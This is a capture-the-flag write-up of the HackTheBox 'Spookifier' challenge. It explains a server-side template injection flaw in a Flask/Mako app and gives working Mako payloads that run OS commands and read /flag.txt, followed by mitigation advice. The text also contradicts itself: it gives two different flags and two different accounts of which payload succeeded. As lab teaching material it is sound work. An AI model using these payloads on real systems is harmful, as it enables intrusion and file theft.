Introduction
HackTheBox Spookifier presents a web application designed to generate spooky versions of user-provided names. However, the application has a flaw that allows malicious users to manipulate it in unintended ways. This write-up explores the challenge, the vulnerabilities discovered, and how an attacker could exploit them to retrieve sensitive information.
HackTheBox Spookifier Description
There’s a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?
Walkthrough
Web Enumeration
By visiting the home page, we find the following:
![](https://motasem-notes.net/wp-content/uploads/2025/02/image-1.png)
The web application takes user input and transforms it into a “spookified” version. However, some users report that their real names are being altered unpredictably. This suggests that the application may be processing inputs in a way that leaves it open to security risks.
To investigate, we start by entering simple test inputs and observing how the application processes them.
Testing for Server Side Template Injection
A common test for Server-Side Template Injection (SSTI) is entering expressions that would be evaluated if the application improperly processes inputs in a templating engine.
${1+3}
If the application evaluates this input and returns 4
, it indicates that the user input is processed as executable code.
Upon testing, we see that ${1+3}
indeed returns 4
, confirming that the application is vulnerable to SSTI.
Source Code Analysis
We have access to the Python source code of a web application developed using Flask. Specifically, the file in focus is application/blueprints/routes.py
.
from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookify
web = Blueprint('web', __name__)
@web.route('/')
def index():
text = request.args.get('text')
if text:
converted = spookify(text)
return render_template('index.html', output=converted)
return render_template('index.html', output='')
At first glance, we notice that the application utilizes templates but relies on Mako instead of the commonly used Jinja2 template engine.
The function called spookify
essentially converts standard characters into spooky-style fonts through a predefined mapping. However, the final transformation step (font4
) does not modify the string in any way.
def change_font(text_list):
text_list = [*text_list]
current_font = []
all_fonts = []
add_font_to_list = lambda text,font_type : (
[current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear()
) and None
add_font_to_list(text_list, 'font1')
add_font_to_list(text_list, 'font2')
add_font_to_list(text_list, 'font3')
add_font_to_list(text_list, 'font4')
return all_fonts
def spookify(text):
converted_fonts = change_font(text_list=text)
return generate_render(converted_fonts=converted_fonts)
As a result, this allows us to exploit a Server-Side Template Injection (SSTI) vulnerability using font4
.
SSTI Exploitation
To further probe the vulnerability, we try a common command execution payload:
${system('cat flag.txt')}
This attempt, however, does not yield the expected output. This suggests that the system()
function is either restricted or not available in the context of the application.
To exploit server side template injection, we can refer to PayloadsAllTheThings and locate a suitable payload for Mako SSTI:
${self.module.cache.util.os.system("id")}
![](https://motasem-notes.net/wp-content/uploads/2025/02/image-2.png)
This command only returns 0
, which is the exit code from os.system
. Since os.system
does not allow direct reading of the flag, we can’t retrieve it directly. However, we do have code execution, so we can move the /flag.txt
file to a publicly accessible directory:
${self.module.cache.util.os.system("cp /flag.txt /app/application/static/css")}
![](https://motasem-notes.net/wp-content/uploads/2025/02/image-3.png)
Root Cause of SSTI Vulnerability
The vulnerability arises from the application’s use of the Mako template engine, which allows dynamic code execution. If user input is not properly sanitized, it can be directly executed within the template, leading to arbitrary code execution.
Why is this dangerous?
- Attackers can execute commands on the server.
- Sensitive files (like
flag.txt
) can be read. - It can lead to full server compromise if the attacker gains access to a shell.
Flag
To obtain the challenge flag, execute the below command:
$ curl 161.35.174.99:30548/static/css/flag.txt
HTB{t3mpl4t3_1nj3ct10n_1s_$p00ky!!}
SSTI Mitigation Strategies
To prevent such vulnerabilities, developers should:
- Sanitize User Input
- Never allow raw user input to be processed in a template engine.
- Escape user inputs properly before rendering.
- Use a Secure Template Engine
- Some templating engines (like Jinja2 in sandbox mode) restrict execution of unsafe expressions.
- Restrict File and Command Execution
- Limit template engine permissions.
- Ensure that user input cannot call functions like
open()
orsystem()
.
- Implement Input Validation
- Use whitelists to only allow expected inputs.
- Reject any input containing special characters like
${}
.
Security Concepts to Remember
🛠️ SSTI Vulnerability: The application is susceptible to Server-Side Template Injection, allowing execution of arbitrary commands.
🔍 Input Evaluation: Inputs like ${1+3}
are evaluated server-side, confirming the SSTI flaw.
📄 Flag Retrieval: Exploiting the vulnerability with ${open('/flag.txt').read()}
reveals sensitive information, such as the flag.
🔧 Template Rendering: The issue stems from improper handling of user inputs in the template rendering function.
📚 Learning Resource: The “PayloadsAllTheThings” GitHub repository provides valuable information on SSTI exploitation.
Summary
Initial Interaction: Upon entering a simple input like “Hallo,” the application displays it directly, indicating potential direct input handling.
Testing for SSTI: Inputting ${1+3}
results in 4
, suggesting that the application evaluates inputs as code, confirming an SSTI vulnerability.
Attempted Exploitation: Using ${system('cat flag.txt')}
did not yield the desired result, indicating limitations in the system
function’s availability or execution context.
Successful Exploitation: The payload ${open('/flag.txt').read()}
successfully reads and outputs the contents of flag.txt
, revealing the flag.
Root Cause Analysis: The vulnerability arises from the application’s use of the Mako template engine, where user inputs are directly passed into templates without proper sanitization, leading to code execution.
Security Implications: This flaw allows attackers to execute arbitrary code on the server, potentially leading to data breaches and unauthorized access.
Mitigation Strategies: To prevent such vulnerabilities, it’s essential to sanitize user inputs and avoid directly embedding them into templates. Implementing input validation and using secure coding practices can mitigate SSTI risks.
You can also watch:
Conclusion
Upon analyzing the application, it was discovered that it is vulnerable to Server-Side Template Injection (SSTI). By inputting specific payloads, an attacker can execute arbitrary commands on the server. For instance, entering ${1+3}
in the input field returns 4
, confirming SSTI vulnerability. Further exploitation using ${open('/flag.txt').read()}
successfully retrieves the flag: HTB{t3mpl4t3_1nj3ct10n_C4n_3x1st5_4nywh343!!}
. This indicates that the application improperly handles user inputs within its template rendering function, leading to potential security breaches.